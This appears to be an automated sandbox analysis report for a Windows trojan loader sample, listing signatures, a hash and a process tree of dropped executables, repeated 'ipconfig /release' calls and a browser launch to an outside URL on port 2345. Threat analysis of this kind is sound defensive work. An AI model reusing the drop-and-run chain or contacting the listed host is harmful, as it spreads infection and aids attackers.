Analysis
- max time kernel
150s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
01/11/2026, 13:23
General
- Target 2026-11-01_6db86aa8d543c67d4d04320c36e82bb9_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 381KB
- Sample261101-qm3qcsxt4r
- SHA256 e1ccdc89130bb07e9d31104b072e71850ebb238c9f211d509b6f71b950293f5c
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-01_6db86aa8d543c67d4d04320c36e82bb9_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-01_6db86aa8d543c67d4d04320c36e82bb9_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\igaytqljdbvtnlgd.exeC:\Temp\igaytqljdbvtnlgd.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\olgaywqoig.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\olgaywqoig.exeC:\Temp\olgaywqoig.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_olgaywqoig.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_olgaywqoig.exeC:\Temp\i_olgaywqoig.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axvsnkiday.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\axvsnkiday.exeC:\Temp\axvsnkiday.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axvsnkiday.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_axvsnkiday.exeC:\Temp\i_axvsnkiday.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uspkhfdxvp.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uspkhfdxvp.exeC:\Temp\uspkhfdxvp.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uspkhfdxvp.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uspkhfdxvp.exeC:\Temp\i_uspkhfdxvp.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usmkfcxupn.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\usmkfcxupn.exeC:\Temp\usmkfcxupn.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_usmkfcxupn.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_usmkfcxupn.exeC:\Temp\i_usmkfcxupn.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\hczwupjhcz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\hczwupjhcz.exeC:\Temp\hczwupjhcz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_hczwupjhcz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_hczwupjhcz.exeC:\Temp\i_hczwupjhcz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jezwrpjhbz.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\jezwrpjhbz.exeC:\Temp\jezwrpjhbz.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jezwrpjhbz.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jezwrpjhbz.exeC:\Temp\i_jezwrpjhbz.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\bwuoljdbzt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\bwuoljdbzt.exeC:\Temp\bwuoljdbzt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_bwuoljdbzt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_bwuoljdbzt.exeC:\Temp\i_bwuoljdbzt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgdbytqljd.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lgdbytqljd.exeC:\Temp\lgdbytqljd.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgdbytqljd.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lgdbytqljd.exeC:\Temp\i_lgdbytqljd.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\eyvtnigdyw.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\eyvtnigdyw.exeC:\Temp\eyvtnigdyw.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_eyvtnigdyw.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_eyvtnigdyw.exeC:\Temp\i_eyvtnigdyw.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ysqoifdavt.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\ysqoifdavt.exeC:\Temp\ysqoifdavt.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ysqoifdavt.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_ysqoifdavt.exeC:\Temp\i_ysqoifdavt.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhfaxvpnh.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pnhfaxvpnh.exeC:\Temp\pnhfaxvpnh.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhfaxvpnh.exe ups_ins3⤵
-
C:\Temp\i_pnhfaxvpnh.exeC:\Temp\i_pnhfaxvpnh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\smkfcxupnh.exe ups_run3⤵
-
C:\Temp\smkfcxupnh.exeC:\Temp\smkfcxupnh.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_smkfcxupnh.exe ups_ins3⤵
-
C:\Temp\i_smkfcxupnh.exeC:\Temp\i_smkfcxupnh.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pmhfzxrpnk.exe ups_run3⤵
-
C:\Temp\pmhfzxrpnk.exeC:\Temp\pmhfzxrpnk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pmhfzxrpnk.exe ups_ins3⤵
-
C:\Temp\i_pmhfzxrpnk.exeC:\Temp\i_pmhfzxrpnk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\rpjhczurmk.exe ups_run3⤵
-
C:\Temp\rpjhczurmk.exeC:\Temp\rpjhczurmk.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_rpjhczurmk.exe ups_ins3⤵
-
C:\Temp\i_rpjhczurmk.exeC:\Temp\i_rpjhczurmk.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ljebwuojge.exe ups_run3⤵
-
C:\Temp\ljebwuojge.exeC:\Temp\ljebwuojge.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ljebwuojge.exe ups_ins3⤵
-
C:\Temp\i_ljebwuojge.exeC:\Temp\i_ljebwuojge.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ojgeywqojg.exe ups_run3⤵
-
C:\Temp\ojgeywqojg.exeC:\Temp\ojgeywqojg.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ojgeywqojg.exe ups_ins3⤵
-
C:\Temp\i_ojgeywqojg.exeC:\Temp\i_ojgeywqojg.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qolgbywqoj.exe ups_run3⤵
-
C:\Temp\qolgbywqoj.exeC:\Temp\qolgbywqoj.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qolgbywqoj.exe ups_ins3⤵
-
C:\Temp\i_qolgbywqoj.exeC:\Temp\i_qolgbywqoj.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\qoigaysqli.exe ups_run3⤵
-
C:\Temp\qoigaysqli.exeC:\Temp\qoigaysqli.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_qoigaysqli.exe ups_ins3⤵
-
C:\Temp\i_qoigaysqli.exeC:\Temp\i_qoigaysqli.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kifdxvsqki.exe ups_run3⤵
-
C:\Temp\kifdxvsqki.exeC:\Temp\kifdxvsqki.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kifdxvsqki.exe ups_ins3⤵
-
C:\Temp\i_kifdxvsqki.exeC:\Temp\i_kifdxvsqki.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\usqnifayki.exe ups_run3⤵
-
C:\Temp\usqnifayki.exeC:\Temp\usqnifayki.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2c8,0x304,0x7ffefd88c188,0x7ffefd88c194,0x7ffefd88c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1876,i,8965882428615196998,9194974295256962204,262144 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=2536 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2092,i,2192187114226834555,4349706821237767783,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=3388 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2472,i,12505242855134038872,2433225310005140733,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=3600 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3292,i,12470096972998371092,5438053647146834604,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3300,i,15824482591151427636,3295723826671616415,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=3636 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,385075795977018812,12729848500697304065,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4248,i,2906209907041612226,1548097996775757256,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5236,i,14089117423171262764,5919275961692820085,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4668 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5260,i,3780514359438217395,10995177646168928087,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=5304 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5248,i,10307218736490865532,13183449106908586774,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=4000 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5912,i,2583750024423051082,17245650102299867284,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5912,i,2583750024423051082,17245650102299867284,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=5928 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,13792934007642541088,5905771110759445651,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6268 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6412,i,9956908524239548043,6126737106370627893,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6572,i,12561262130623193335,13147360464273832147,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6580 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6384,i,17157465017944759968,12918038174355326774,2097152 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6744 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6484,i,13046927618798407840,13352615112052216014,524288 --field-trial-handle=2540,i,12690615220915695703,8205002735126302790,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:144⤵
-
-
